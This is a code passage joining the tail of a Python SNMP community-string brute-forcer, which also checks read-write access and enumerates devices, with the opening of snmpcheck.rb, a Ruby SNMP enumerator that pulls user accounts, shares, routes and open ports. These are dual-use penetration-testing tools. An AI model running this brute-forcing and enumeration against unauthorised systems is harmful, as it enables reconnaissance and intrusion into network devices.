666 | groupAlt.add_option('--sploitego', help='Sploitego\'s bruteforce method', dest='sploitego', action='store_true',default=False) | |
667 | ||
668 | ||
669 | groupAuto = optparse.OptionGroup(parser, "Automation") | |
670 | groupAuto.add_option('-b','--bruteonly', help='Do not try to enumerate - only bruteforce', dest='enum', action='store_false',default=True) | |
671 | groupAuto.add_option('-a','--auto', help='Non Interactive Mode', dest='interactive', action='store_false',default=True) | |
672 | groupAuto.add_option('--no-colours', help='No colour output', dest='colour', action='store_false',default=True) | |
673 | ||
674 | groupAdvanced = optparse.OptionGroup(parser, "Advanced") | |
675 | groupAdvanced.add_option('-r','--rate', help='Send rate', dest='rate', action='store',type='float', default=defaults.rate) | |
676 | groupAdvanced.add_option('--timeout', help='Wait time for UDP response (in seconds)', dest='timeOut', action='store', type='float' ,default=defaults.timeOut) | |
677 | groupAdvanced.add_option('--delay', help='Wait time after all packets are send (in seconds)', dest='delay', action='store', type='float' ,default=defaults.delay) | |
678 | ||
679 | groupAdvanced.add_option('--iplist', help='IP list file', dest='lfile', action='store') | |
680 | groupAdvanced.add_option('-v','--verbose', help='Verbose output', dest='verbose', action='store_true',default=False) | |
681 | ||
682 | groupOS = optparse.OptionGroup(parser, "Operating Systems") | |
683 | groupOS.add_option('--windows', help='Enumerate Windows OIDs (snmpenum.pl)', dest='windows', action='store_true',default=False) | |
684 | groupOS.add_option('--linux', help='Enumerate Linux OIDs (snmpenum.pl)', dest='linux', action='store_true',default=False) | |
685 | groupOS.add_option('--cisco', help='Append extra Cisco OIDs (snmpenum.pl)', dest='cisco', action='store_true',default=False) | |
686 | ||
687 | parser.add_option_group(groupAdvanced) | |
688 | parser.add_option_group(groupAuto) | |
689 | parser.add_option_group(groupOS) | |
690 | parser.add_option_group(groupAlt) | |
691 | ||
692 | (options, arguments) = parser.parse_args() | |
693 | ||
694 | communities=[] | |
695 | ips=[] | |
696 | ||
697 | banner(options.colour) #For SPARTA!!! | |
698 | ||
699 | if not options.ip and not options.lfile: | |
700 | #Can't continue without target | |
701 | parser.print_help() | |
702 | exit(0) | |
703 | else: | |
704 | # Create the list of targets | |
705 | if options.lfile: | |
706 | try: | |
707 | with open(options.lfile) as t: | |
708 | ips = t.read().splitlines() #Potential DoS | |
709 | except: | |
710 | print "Could not open targets file: " + options.lfile | |
711 | exit(0) | |
712 | else: | |
713 | ips.append(options.ip) | |
714 | ||
715 | if not options.colour: | |
716 | defaults.colour=False | |
717 | ||
718 | # Create the list of communities | |
719 | if options.dictionary: # Read from file | |
720 | with open(options.dictionary) as f: | |
721 | communities=f.read().splitlines() #Potential DoS | |
722 | elif options.community: # Single community | |
723 | communities.append(options.community) | |
724 | elif options.stdin: # Read from input | |
725 | communities=[] | |
726 | else: #if not options.community and not options.dictionary and not options.stdin: | |
727 | communities=default_communities | |
728 | ||
729 | #We ensure that default communities are included | |
730 | #if 'public' not in communities: | |
731 | # communities.append('public') | |
732 | #if 'private' not in communities: | |
733 | # communities.append('private') | |
734 | ||
735 | if options.stdin: | |
736 | options.interactive=False | |
737 | ||
738 | results=[] | |
739 | ||
740 | if options.stdin: | |
741 | print >> sys.stderr, "Reading input for community strings ..." | |
742 | else: | |
743 | print >> sys.stderr, "Trying %d community strings ..." % len(communities) | |
744 | ||
745 | if options.sploitego: #sploitego method of bruteforce | |
746 | if ips: | |
747 | for ip in ips: | |
748 | for version in ['v1', 'v2c']: | |
749 | bf = SNMPBruteForcer(ip, options.port, version, options.timeOut,options.rate) | |
750 | result=bf.guess(communities) | |
751 | for i in result: | |
752 | r=SNMPResults() | |
753 | r.addr=(ip,options.port) | |
754 | r.version=version | |
755 | r.community=i | |
756 | results.append(r) | |
757 | print ip, version+'\t',result | |
758 | else: | |
759 | parser.print_help() | |
760 | ||
761 | else: | |
762 | results = password_brutefore(options, communities, ips) | |
763 | ||
764 | #We identify whether the community strings are read or write | |
765 | if results: | |
766 | printout("\nTrying identified strings for READ-WRITE ...",WHITE) | |
767 | testSNMPWrite(results,options) | |
768 | else: | |
769 | printout("\nNo Community strings found",RED) | |
770 | exit(0) | |
771 | ||
772 | #We attempt to enumerate the router | |
773 | while options.enum: | |
774 | SNMPenumeration(select_community(results,options),options) | |
775 | ||
776 | #if (True if raw_input("Enumerate with different community? (Y/n):").lower() == 'n' else False): | |
777 | if get_input("Enumerate with different community? (y/N):",'y',options): | |
778 | continue | |
779 | else: | |
780 | break | |
781 | ||
782 | if not options.enum: | |
783 | select_community(results,options) | |
784 | ||
785 | print "Finished!" | |
786 | ||
787 | if __name__ == "__main__": | |
788 | main() |
0 | #!/usr/bin/env ruby | |
1 | ||
2 | # | |
3 | # Copyright (c) 2005-2015 by Matteo Cantoni (www.nothink.org) | |
4 | # | |
5 | # Snmpcheck is an open source tool distributed under GPL license. | |
6 | # Its goal is to automate the process of gathering information of | |
7 | # any devices with SNMP protocol support (Windows, Unix-like, | |
8 | # network appliances, printers...). | |
9 | # Like to snmpwalk, snmpcheck allows you to enumerate the SNMP devices | |
10 | # and places the output in a very human readable friendly format. | |
11 | # It could be useful for penetration testing or systems monitoring. | |
12 | # More informations available from http://www.nothink.org. | |
13 | # | |
14 | # Install Ruby SNMP library using RubyGems: 'gem install snmp' | |
15 | # | |
16 | # --- | |
17 | # | |
18 | # License: (http://www.gnu.org/licenses/gpl.txt) | |
19 | # | |
20 | # This program is free software: you can redistribute it and/or modify | |
21 | # it under the terms of the GNU General Public License as published by | |
22 | # the Free Software Foundation, either version 3 of the License, or | |
23 | # (at your option) any later version. | |
24 | # | |
25 | # This program is distributed in the hope that it will be useful, | |
26 | # but WITHOUT ANY WARRANTY; without even the implied warranty of | |
27 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the | |
28 | # GNU General Public License for more details. | |
29 | # | |
30 | # You should have received a copy of the GNU General Public License | |
31 | # along with this program. If not, see <http://www.gnu.org/licenses/>. | |
32 | # | |
33 | # Thanks to Metasploit contributors! | |
34 | # http://www.rapid7.com/db/modules/auxiliary/scanner/snmp/snmp_enum | |
35 | # | |
36 | ||
37 | # ruby version check | |
38 | if RUBY_VERSION < "1.9.0" | |
39 | abort <<-end_message | |
40 | [!] snmpcheck requires Ruby version >= 1.9.0 | |
41 | end_message | |
42 | end | |
43 | ||
44 | require 'getoptlong' | |
45 | require 'rubygems' | |
46 | require 'snmp' | |
47 | require 'timeout' | |
48 | ||
49 | include SNMP | |
50 | ||
51 | # catching Ctrl+C | |
52 | trap("SIGINT") { exit! } | |
53 | ||
54 | # disable verbose | |
55 | $VERBOSE = nil | |
56 | ||
57 | script_name = 'snmpcheck.rb'; | |
58 | script_version = 'v1.9'; | |
59 | script_description = 'SNMP enumerator'; | |
60 | script_copyright = 'Copyright (c) 2005-2015'; | |
61 | script_author = 'Matteo Cantoni (www.nothink.org)'; | |
62 | ||
63 | script_usage = " Usage: #{script_name} [OPTIONS] <target IP address>\n | |
64 | -p --port : SNMP port. Default port is 161; | |
65 | -c --community : SNMP community. Default is public; | |
66 | -v --version : SNMP version (1,2c). Default is 1;\n | |
67 | -w --write : detect write access (separate action by enumeration);\n | |
68 | -d --disable_tcp : disable TCP connections enumeration! | |
69 | -t --timeout : timeout in seconds. Default is 5; | |
70 | -r --retries : request retries. Default is 1; | |
71 | -i --info : show script version; | |
72 | -h --help : show help menu;\n\n" | |
73 | ||
74 | def print_banner(script_name,script_version,script_description,script_copyright,script_author) | |
75 | puts "#{script_name} #{script_version} - #{script_description}\n#{script_copyright} by #{script_author}\n\n" | |
76 | end | |
77 | ||
78 | def print_things(msg='',prefix) | |
79 | case prefix | |
80 | when 'error' | |
81 | puts "[!] #{msg}" | |
82 | when 'info' | |
83 | puts "[+] #{msg}" | |
84 | when 'result' | |
85 | puts "[*] #{msg}" | |
86 | end | |
87 | end | |
88 | ||
89 | def truncate_to_twidth(string,twidth) | |
90 | string.slice(0..twidth-2) | |
91 | end | |
92 | ||
93 | def number_to_human_size(size,unit) | |
94 | size = size.first.to_i * unit.first.to_i | |
95 | ||
96 | if size < 1024 | |
97 | "#{size} bytes" | |
98 | elsif size < 1024.0 * 1024.0 | |
99 | "%.02f KB" % (size / 1024.0) | |
100 | elsif size < 1024.0 * 1024.0 * 1024.0 | |
101 | "%.02f MB" % (size / 1024.0 / 1024.0) | |
102 | else | |
103 | "%.02f GB" % (size / 1024.0 / 1024.0 / 1024.0) | |
104 | end | |
105 | end | |
106 | ||
107 | target = nil | |
108 | port = 161 | |
109 | community = 'public' | |
110 | version = '1' | |
111 | check_write = nil | |
112 | disable_tcp = nil | |
113 | timeout = 5 | |
114 | retries = 1 | |
115 | ||
116 | begin | |
117 | ||
118 | opts = GetoptLong.new( | |
119 | [ '--port', '-p', GetoptLong::REQUIRED_ARGUMENT ], | |
120 | [ '--community', '-c', GetoptLong::REQUIRED_ARGUMENT ], | |
121 | [ '--version', '-v', GetoptLong::REQUIRED_ARGUMENT ], | |
122 | [ '--write', '-w', GetoptLong::NO_ARGUMENT ], | |
123 | [ '--disable_tcp', '-d', GetoptLong::NO_ARGUMENT ], | |
124 | [ '--timeout', '-t', GetoptLong::REQUIRED_ARGUMENT ], | |
125 | [ '--retries', '-r', GetoptLong::REQUIRED_ARGUMENT ], | |
126 | [ '--info', '-i', GetoptLong::NO_ARGUMENT ], | |
127 | [ '--help', '-h', GetoptLong::NO_ARGUMENT ] | |
128 | ) | |
129 | ||
130 | opts.each do |opt, arg| | |
131 | case opt | |
132 | when '--port' | |
133 | port = arg.to_i | |
134 | when '--community' | |
135 | community = arg.to_s | |
136 | when '--version' | |
137 | version = arg.to_s | |
138 | when '--write' | |
139 | check_write = 1 | |
140 | when '--disable_tcp' | |
141 | disable_tcp = 1 | |
142 | when '--timeout' | |
143 | timeout = arg.to_i | |
144 | when '--retries' | |
145 | retries = arg.to_i | |
146 | when '--info' | |
147 | print_banner(script_name,script_version,script_description,script_copyright,script_author) | |
148 | exit 0 | |
149 | when '--help' | |
150 | print_banner(script_name,script_version,script_description,script_copyright,script_author) | |
151 | puts script_usage | |
152 | exit 0 | |
153 | end | |
154 | end | |
155 | ||
156 | rescue GetoptLong::InvalidOption, GetoptLong::MissingArgument, GetoptLong::NeedlessArgument | |
157 | exit 1; | |
158 | end | |
159 | ||
160 | if ARGV.length != 1 | |
161 | print_things("You need specify a IP address target!","error") | |
162 | exit 0 | |
163 | end | |
164 | ||
165 | target = ARGV.shift | |
166 | ||
167 | if target !~ /^([01]?\d\d?|2[0-4]\d|25[0-5])\.([01]?\d\d?|2[0-4]\d|25[0-5])\.([01]?\d\d?|2[0-4]\d|25[0-5])\.([01]?\d\d?|2[0-4]\d|25[0-5])$/ | |
168 | print_things("Invalid IP address!","error") | |
169 | exit 0 | |
170 | end | |
171 | ||
172 | # is there a community length limit? | |
173 | if community.length >= 25 | |
174 | print_things("Invalid community length!","error") | |
175 | exit 0 | |
176 | end | |
177 | ||
178 | if port < 0 or port > 65535 | |
179 | print_things("Invalid port!","error") | |
180 | exit 0 | |
181 | end | |
182 | ||
183 | if retries < 0 or retries > 10 | |
184 | print_things("Invalid 'retries' value!","error") | |
185 | exit 0 | |
186 | end | |
187 | ||
188 | if version == '1' | |
189 | version = :SNMPv1 | |
190 | elsif version == '2c' | |
191 | version = :SNMPv2c | |
192 | else | |
193 | print_things("SNMP version invalid! We'll use 1 version!","error") | |
194 | version = :SNMPv1 | |
195 | end | |
196 | ||
197 | fields_order = [ | |
198 | "Host IP address","Hostname","Description","Contact","Location","Uptime snmp","Uptime system", | |
199 | "System date","Domain","User accounts","Network information","Network interfaces", | |
200 | "Network IP","Routing information","TCP connections and listening ports","Listening UDP ports", | |
201 | "Network services","Processes","Storage information","File system information","Device information", | |
202 | "Software components","IIS server information","Share","HP LaserJet printer enumeration" | |
203 | ] | |
204 | ||
205 | output_data = {} | |
206 | output_data = {"Host IP address" => target} | |
207 | ||
208 | print_banner(script_name,script_version,script_description,script_copyright,script_author) | |
209 | print_things("Try to connect to #{target}:#{port} using #{version} and community '#{community}'","info") | |
210 | print_things("Write access check enabled\n","info") unless check_write.nil? | |
211 | print_things("TCP connections enumeration disabled","info") unless disable_tcp.nil? | |
212 | puts | |
213 | ||
214 | begin | |
215 | ||
216 | SNMP::Manager.open( | |
217 | :Host => target, | |
218 | :Port => port, | |
219 | :Community => community, | |
220 | :Version => version, | |
221 | :Timeout => timeout, | |
222 | :Retries => retries | |
223 | ) do |manager| | |
224 | ||
225 | sysName = manager.get_value('1.3.6.1.2.1.1.5.0').to_s | |
226 | output_data["Hostname"] = sysName.strip | |
227 | ||
228 | # check write access | |
229 | if check_write and sysName | |
230 | # 1.3.6.1.2.1.1.5.0 - sysName | |
231 | varbind = VarBind.new("1.3.6.1.2.1.1.5.0",OctetString.new(sysName.strip)) | |
232 | resp = manager.set(varbind) | |
233 | ||
234 | if resp.error_status == :noError | |
235 | print_things("Write access permitted!\n\n","result") | |
236 | else | |
237 | print_things("Write access not permitted!\n","result") | |
238 | end | |
239 | end | |
240 | ||
241 | sysDesc = manager.get_value('1.3.6.1.2.1.1.1.0').to_s | |
242 | sysDesc.gsub!(/^\s+|\s+$|\n+|\r+/, ' ') | |
243 | output_data["Description"] = sysDesc.strip | |
244 | ||
245 | sysContact = manager.get_value('1.3.6.1.2.1.1.4.0').to_s | |
246 | output_data["Contact"] = sysContact.strip | |
247 | ||
248 | sysLocation = manager.get_value('1.3.6.1.2.1.1.6.0').to_s | |
249 | output_data["Location"] = sysLocation.strip | |
250 | ||
251 | sysUpTimeInstance = manager.get_value('1.3.6.1.2.1.1.3.0').to_s | |
252 | output_data["Uptime system"] = sysUpTimeInstance.strip | |
253 | ||
254 | hrSystemUptime = manager.get_value('1.3.6.1.2.1.25.1.1.0').to_s | |
255 | output_data["Uptime snmp"] = hrSystemUptime.strip | |
256 | hrSystemUptime = '-' if hrSystemUptime.to_s =~ /Null/ | |
257 | ||
258 | year = month = day = hour = minutes = seconds = tenths = 0 | |
259 | ||
260 | systemDate = manager.get_value('1.3.6.1.2.1.25.1.2.0') | |
261 | str = systemDate.to_s | |
262 | if (str.empty? or str =~ /Null/ or str =~ /^noSuch/) | |
263 | output_data["System date"] = '-' | |
264 | else | |
265 | # RFC 2579 - Textual Conventions for SMIv2 | |
266 | # http://www.faqs.org/rfcs/rfc2579.html | |
267 | ||
268 | systemDate = systemDate.unpack('C*') | |
269 | ||
270 | year = systemDate[0] * 256 + systemDate[1] | |
271 | month = systemDate[2] || 0 | |
272 | day = systemDate[3] || 0 | |
273 | hour = systemDate[4] || 0 | |
274 | minutes = systemDate[5] || 0 | |
275 | seconds = systemDate[6] || 0 | |
276 | tenths = systemDate[7] || 0 | |
277 | output_data["System date"] = sprintf("%d-%d-%d %02d:%02d:%02d.%d", year, month, day, hour, minutes, seconds, tenths) | |
278 | end | |
279 | ||
280 | if (sysDesc =~ /Windows/) | |
281 | ||
282 | domPrimaryDomain = manager.get_value('1.3.6.1.4.1.77.1.4.1.0').to_s | |
283 | output_data["Domain"] = domPrimaryDomain.strip | |
284 | ||
285 | users = [] | |
286 | ||
287 | manager.walk(["1.3.6.1.4.1.77.1.2.25.1.1","1.3.6.1.4.1.77.1.2.25.1"]) do |user,entry| | |
288 | users.push([user.value]) | |
289 | end | |
290 | ||
291 | if not users.empty? | |
292 | output_data["User accounts"] = users | |
293 | end | |
294 | end | |
295 | ||
296 | network_information = {} | |
297 | ||
298 | ipForwarding = manager.get_value('1.3.6.1.2.1.4.1.0') | |
299 | ||
300 | if ipForwarding == 0 || ipForwarding == 2 | |
301 | ipForwarding = "no" | |
302 | network_information["IP forwarding enabled"] = ipForwarding | |
303 | elsif ipForwarding == 1 | |
304 | ipForwarding = "yes" | |
305 | network_information["IP forwarding enabled"] = ipForwarding | |
306 | end | |
307 | ||
308 | ipDefaultTTL = manager.get_value('1.3.6.1.2.1.4.2.0') | |
309 | if ipDefaultTTL.to_s !~ /Null/ | |
310 | network_information["Default TTL"] = ipDefaultTTL | |
311 | end | |
312 | ||
313 | tcpInSegs = manager.get_value('1.3.6.1.2.1.6.10.0') | |
314 | if tcpInSegs.to_s !~ /Null/ | |
315 | network_information["TCP segments received"] = tcpInSegs | |
316 | end | |
317 | ||
318 | tcpOutSegs = manager.get_value('1.3.6.1.2.1.6.11.0') | |
319 | if tcpOutSegs.to_s !~ /Null/ | |
320 | network_information["TCP segments sent"] = tcpOutSegs | |
321 | end | |
322 | ||
323 | tcpRetransSegs = manager.get_value('1.3.6.1.2.1.6.12.0') | |
324 | if tcpRetransSegs.to_s !~ /Null/ | |
325 | network_information["TCP segments retrans"] = tcpRetransSegs | |
326 | end | |
327 | ||
328 | ipInReceives = manager.get_value('1.3.6.1.2.1.4.3.0') | |
329 | if ipInReceives.to_s !~ /Null/ | |
330 | network_information["Input datagrams"] = ipInReceives | |
331 | end | |
332 | ||
333 | ipInDelivers = manager.get_value('1.3.6.1.2.1.4.9.0') | |
334 | if ipInDelivers.to_s !~ /Null/ | |
335 | network_information["Delivered datagrams"] = ipInDelivers | |
336 | end | |
337 | ||
338 | ipOutRequests = manager.get_value('1.3.6.1.2.1.4.10.0') | |
339 | if ipOutRequests.to_s !~ /Null/ | |
340 | network_information["Output datagrams"] = ipOutRequests | |
341 | end | |
342 | ||
343 | if not network_information.empty? | |
344 | output_data["Network information"] = network_information | |
345 | end | |
346 | ||
347 | network_interfaces = [] | |
348 | ||
349 | manager.walk([ | |
350 | "1.3.6.1.2.1.2.2.1.1","1.3.6.1.2.1.2.2.1.2","1.3.6.1.2.1.2.2.1.6", | |
351 | "1.3.6.1.2.1.2.2.1.3","1.3.6.1.2.1.2.2.1.4","1.3.6.1.2.1.2.2.1.5", | |
352 | "1.3.6.1.2.1.2.2.1.10","1.3.6.1.2.1.2.2.1.16","1.3.6.1.2.1.2.2.1.7" | |
353 | ]) do |index,descr,mac,type,mtu,speed,inoc,outoc,status| | |
354 | ||
355 | ifindex = index.value | |
356 | ifdescr = descr.value | |
357 | ifmac = mac.value.unpack("H2H2H2H2H2H2").join(":") | |
358 | iftype = type.value | |
359 | ifmtu = mtu.value | |
360 | ifspeed = speed.value.to_i | |
361 | ifinoc = inoc.value | |
362 | ifoutoc = outoc.value | |
363 | ifstatus = status.value | |
364 | ||
365 | case iftype | |
366 | when 1 | |
367 | iftype = "other" | |
368 | when 2 | |
369 | iftype = "regular1822" | |
370 | when 3 | |
371 | iftype = "hdh1822" | |
372 | when 4 | |
373 | iftype = "ddn-x25" | |
374 | when 5 | |
375 | iftype = "rfc877-x25" | |
376 | when 6 | |
377 | iftype = "ethernet-csmacd" | |
378 | when 7 | |
379 | iftype = "iso88023-csmacd" | |
380 | when 8 | |
381 | iftype = "iso88024-tokenBus" | |
382 | when 9 | |
383 | iftype = "iso88025-tokenRing" | |
384 | when 10 | |
385 | iftype = "iso88026-man" | |
386 | when 11 | |
387 | iftype = "starLan" | |
388 | when 12 | |
389 | iftype = "proteon-10Mbit" | |
390 | when 13 | |
391 | iftype = "proteon-80Mbit" | |
392 | when 14 | |
393 | iftype = "hyperchannel" | |
394 | when 15 | |
395 | iftype = "fddi" | |
396 | when 16 | |
397 | iftype = "lapb" | |
398 | when 17 | |
399 | iftype = "sdlc" | |
400 | when 18 | |
401 | iftype = "ds1" | |
402 | when 19 | |
403 | iftype = "e1" | |
404 | when 20 | |
405 | iftype = "basicISDN" | |
406 | when 21 | |
407 | iftype = "primaryISDN" | |
408 | when 22 | |
409 | iftype = "propPointToPointSerial" | |
410 | when 23 | |
411 | iftype = "ppp" | |
412 | when 24 | |
413 | iftype = "softwareLoopback" | |
414 | when 25 | |
415 | iftype = "eon" | |
416 | when 26 | |
417 | iftype = "ethernet-3Mbit" | |
418 | when 27 | |
419 | iftype = "nsip" | |
420 | when 28 | |
421 | iftype = "slip" | |
422 | when 29 | |
423 | iftype = "ultra" | |
424 | when 30 | |
425 | iftype = "ds3" | |
426 | when 31 | |
427 | iftype = "sip" | |
428 | when 32 | |
429 | iftype = "frame-relay" | |
430 | else | |
431 | iftype = "unknown" | |
432 | end | |
433 | ||
434 | case ifstatus | |
435 | when 1 | |
436 | ifstatus = "up" | |
437 | when 2 | |
438 | ifstatus = "down" | |
439 | when 3 | |
440 | ifstatus = "testing" | |
441 | else | |
442 | ifstatus = "unknown" | |
443 | end | |
444 | ||
445 | ifspeed = ifspeed / 1000000 | |
446 | ||
447 | network_interfaces.push({ | |
448 | "Interface" => "[ #{ifstatus} ] #{ifdescr}", | |
449 | "Id" => ifindex, | |
450 | "Mac Address" => ifmac, | |
451 | "Type" => iftype, | |
452 | "Speed" => "#{ifspeed} Mbps", | |
453 | "MTU" => ifmtu, | |
454 | "In octets" => ifinoc, | |
455 | "Out octets" => ifoutoc | |
456 | }) | |
457 | end | |
458 | ||
459 | if not network_interfaces.empty? | |
460 | output_data["Network interfaces"] = network_interfaces | |
461 | end | |
462 | ||
463 | network_ip = [] | |
464 | ||
465 | manager.walk([ | |
466 | "1.3.6.1.2.1.4.20.1.2","1.3.6.1.2.1.4.20.1.1", | |
467 | "1.3.6.1.2.1.4.20.1.3","1.3.6.1.2.1.4.20.1.4" | |
468 | ]) do |ifid,ipaddr,netmask,bcast| | |
469 | network_ip.push([ifid.value, ipaddr.value, netmask.value, bcast.value]) | |
470 | end | |
471 | ||
472 | if not network_ip.empty? | |
473 | output_data["Network IP"] = [["Id","IP Address","Netmask","Broadcast"]] + network_ip | |
474 | end | |
475 | ||
476 | routing = [] | |
477 | ||
478 | manager.walk([ | |
479 | "1.3.6.1.2.1.4.21.1.1","1.3.6.1.2.1.4.21.1.7", | |
480 | "1.3.6.1.2.1.4.21.1.11","1.3.6.1.2.1.4.21.1.3" | |
481 | ]) do |dest,hop,mask,metric| | |
482 | if (metric.value.to_s.empty?) | |
483 | metric.value = '-' | |
484 | end | |
485 | routing.push([dest.value, hop.value, mask.value, metric.value]) | |
486 | end | |
487 | ||
488 | if not routing.empty? | |
489 | output_data["Routing information"] = [["Destination","Next hop","Mask","Metric"]] + routing | |
490 | end | |
491 | ||
492 | if disable_tcp.nil? | |
493 | ||
494 | tcp = [] | |
495 | ||
496 | manager.walk([ | |
497 | "1.3.6.1.2.1.6.13.1.2","1.3.6.1.2.1.6.13.1.3","1.3.6.1.2.1.6.13.1.4", | |
498 | "1.3.6.1.2.1.6.13.1.5","1.3.6.1.2.1.6.13.1.1" | |
499 | ]) do |ladd,lport,radd,rport,state| | |
500 | ||
501 | if (ladd.value.to_s.empty? or ladd.value.to_s =~ /noSuchInstance/) | |
502 | ladd = "-" | |
503 | else | |
504 | ladd = ladd.value | |
505 | end | |
506 | ||
507 | if (lport.value.to_s.empty? or lport.value.to_s =~ /noSuchInstance/) | |
508 | lport = "-" | |
509 | else | |
510 | lport = lport.value | |
511 | end | |
512 | ||
513 | if (radd.value.to_s.empty? or radd.value.to_s =~ /noSuchInstance/) | |
514 | radd = "-" | |
515 | else | |
516 | radd = radd.value | |
517 | end | |
518 | ||
519 | if (rport.value.to_s.empty? or rport.value.to_s =~ /noSuchInstance/) | |
520 | rport = "-" | |
521 | else | |
522 | rport = rport.value | |
523 | end | |
524 | ||
525 | case state.value | |
526 | when 1 | |
527 | state = "closed" | |
528 | when 2 | |
529 | state = "listen" | |
530 | when 3 | |
531 | state = "synSent" | |
532 | when 4 | |
533 | state = "synReceived" | |
534 | when 5 | |
535 | state = "established" | |
536 | when 6 | |
537 | state = "finWait1" | |
538 | when 7 | |
539 | state = "finWait2" | |
540 | when 8 | |
541 | state = "closeWait" | |
542 | when 9 | |
543 | state = "lastAck" | |
544 | when 10 | |
545 | state = "closing" | |
546 | when 11 | |
547 | state = "timeWait" | |
548 | when 12 | |
549 | state = "deleteTCB" | |
550 | else | |
551 | state = "unknown" | |
552 | end | |
553 | ||
554 | tcp.push([ladd, lport, radd, rport, state]) | |
555 | end | |
556 | ||
557 | if not tcp.empty? | |
558 | output_data["TCP connections and listening ports"] = [["Local address","Local port","Remote address","Remote port","State"]] + tcp | |
559 | end | |
560 | end | |
561 | ||
562 | udp = [] | |
563 | ||
564 | manager.walk(["1.3.6.1.2.1.7.5.1.1","1.3.6.1.2.1.7.5.1.2"]) do |ladd,lport| | |
565 | udp.push([ladd.value, lport.value]) | |
566 | end | |
567 | ||
568 | if not udp.empty? | |
569 | output_data["Listening UDP ports"] = [["Local address","Local port"]] + udp | |
570 | end | |
571 | ||
572 | if (sysDesc =~ /Windows/) | |
573 | ||
574 | network_services = [] | |
575 | ||
576 | n = 0 | |
577 | ||
578 | manager.walk(["1.3.6.1.4.1.77.1.2.3.1.1","1.3.6.1.4.1.77.1.2.3.1.2"]) do |name,installed| | |
579 | network_services.push([n,name.value]) | |
580 | n+=1 | |
581 | end | |
582 | ||
583 | if not network_services.empty? | |
584 | output_data["Network services"] = [["Index","Name"]] + network_services | |
585 | end | |
586 | ||
587 | share = [] | |
588 | ||
589 | manager.walk([ | |
590 | "1.3.6.1.4.1.77.1.2.27.1.1","1.3.6.1.4.1.77.1.2.27.1.2","1.3.6.1.4.1.77.1.2.27.1.3" | |
591 | ]) do |name,path,comment| | |
592 | share.push({" Name"=>name.value, " Path"=>path.value, " Comment"=>comment.value}) | |
593 | end | |
594 | ||
595 | if not share.empty? | |
596 | output_data["Share"] = share | |
597 | end | |
598 | ||
599 | iis = {} | |
600 | ||
601 | http_totalBytesSentLowWord = manager.get_value('1.3.6.1.4.1.311.1.7.3.1.2.0') | |
602 | if http_totalBytesSentLowWord.to_s !~ /Null/ | |
603 | iis["TotalBytesSentLowWord"] = http_totalBytesSentLowWord | |
604 | end | |
605 | ||
606 | http_totalBytesReceivedLowWord = manager.get_value('1.3.6.1.4.1.311.1.7.3.1.4.0') | |
607 | if http_totalBytesReceivedLowWord.to_s !~ /Null/ | |
608 | iis["TotalBytesReceivedLowWord"] = http_totalBytesReceivedLowWord | |
609 | end | |
610 | ||
611 | http_totalFilesSent = manager.get_value('1.3.6.1.4.1.311.1.7.3.1.5.0') | |
612 | if http_totalFilesSent.to_s !~ /Null/ | |
613 | iis["TotalFilesSent"] = http_totalFilesSent | |
614 | end | |
615 | ||
616 | http_currentAnonymousUsers = manager.get_value('1.3.6.1.4.1.311.1.7.3.1.6.0') | |
617 | if http_currentAnonymousUsers.to_s !~ /Null/ | |
618 | iis["CurrentAnonymousUsers"] = http_currentAnonymousUsers | |
619 | end | |
620 | ||
621 | http_currentNonAnonymousUsers = manager.get_value('1.3.6.1.4.1.311.1.7.3.1.7.0') | |
622 | if http_currentNonAnonymousUsers.to_s !~ /Null/ | |
623 | iis["CurrentNonAnonymousUsers"] = http_currentNonAnonymousUsers | |
624 | end | |
625 | ||
626 | http_totalAnonymousUsers = manager.get_value('1.3.6.1.4.1.311.1.7.3.1.8.0') | |
627 | if http_totalAnonymousUsers.to_s !~ /Null/ | |
628 | iis["TotalAnonymousUsers"] = http_totalAnonymousUsers | |
629 | end | |
630 | ||
631 | http_totalNonAnonymousUsers = manager.get_value('1.3.6.1.4.1.311.1.7.3.1.9.0') | |
632 | if http_totalNonAnonymousUsers.to_s !~ /Null/ | |
633 | iis["TotalNonAnonymousUsers"] = http_totalNonAnonymousUsers | |
634 | end | |
635 | ||
636 | http_maxAnonymousUsers = manager.get_value('1.3.6.1.4.1.311.1.7.3.1.10.0') | |
637 | if http_maxAnonymousUsers.to_s !~ /Null/ | |
638 | iis["MaxAnonymousUsers"] = http_maxAnonymousUsers | |
639 | end | |
640 | ||
641 | http_maxNonAnonymousUsers = manager.get_value('1.3.6.1.4.1.311.1.7.3.1.11.0') | |
642 | if http_maxNonAnonymousUsers.to_s !~ /Null/ | |
643 | iis["MaxNonAnonymousUsers"] = http_maxNonAnonymousUsers | |
644 | end | |
645 | ||
646 | http_currentConnections = manager.get_value('1.3.6.1.4.1.311.1.7.3.1.12.0') | |
647 | if http_currentConnections.to_s !~ /Null/ | |
648 | iis["CurrentConnections"] = http_currentConnections | |
649 | end | |
650 | ||
651 | http_maxConnections = manager.get_value('1.3.6.1.4.1.311.1.7.3.1.13.0') | |
652 | if http_maxConnections.to_s !~ /Null/ | |
653 | iis["MaxConnections"] = http_maxConnections | |
654 | end | |
655 | ||
656 | http_connectionAttempts = manager.get_value('1.3.6.1.4.1.311.1.7.3.1.14.0') | |
657 | if http_connectionAttempts.to_s !~ /Null/ | |
658 | iis["ConnectionAttempts"] = http_connectionAttempts | |
659 | end | |
660 | ||
661 | http_logonAttempts = manager.get_value('1.3.6.1.4.1.311.1.7.3.1.15.0') | |
662 | if http_logonAttempts.to_s !~ /Null/ | |
663 | iis["LogonAttempts"] = http_logonAttempts | |
664 | end | |
665 | ||
666 | http_totalGets = manager.get_value('1.3.6.1.4.1.311.1.7.3.1.16.0') | |
667 | if http_totalGets.to_s !~ /Null/ | |
668 | iis["Gets"] = http_totalGets | |
669 | end | |
670 | ||
671 | http_totalPosts = manager.get_value('1.3.6.1.4.1.311.1.7.3.1.17.0') | |
672 | if http_totalPosts.to_s !~ /Null/ | |
673 | iis["Posts"] = http_totalPosts | |
674 | end | |
675 | ||
676 | http_totalHeads = manager.get_value('1.3.6.1.4.1.311.1.7.3.1.18.0') | |
677 | if http_totalHeads.to_s !~ /Null/ | |
678 | iis["Heads"] = http_totalHeads | |
679 | end | |
680 | ||
681 | http_totalOthers = manager.get_value('1.3.6.1.4.1.311.1.7.3.1.19.0') | |
682 | if http_totalOthers.to_s !~ /Null/ | |
683 | iis["Others"] = http_totalOthers | |
684 | end | |
685 | ||
686 | http_totalCGIRequests = manager.get_value('1.3.6.1.4.1.311.1.7.3.1.20.0') | |
687 | if http_totalCGIRequests.to_s !~ /Null/ | |
688 | iis["CGIRequests"] = http_totalCGIRequests | |
689 | end | |
690 | ||
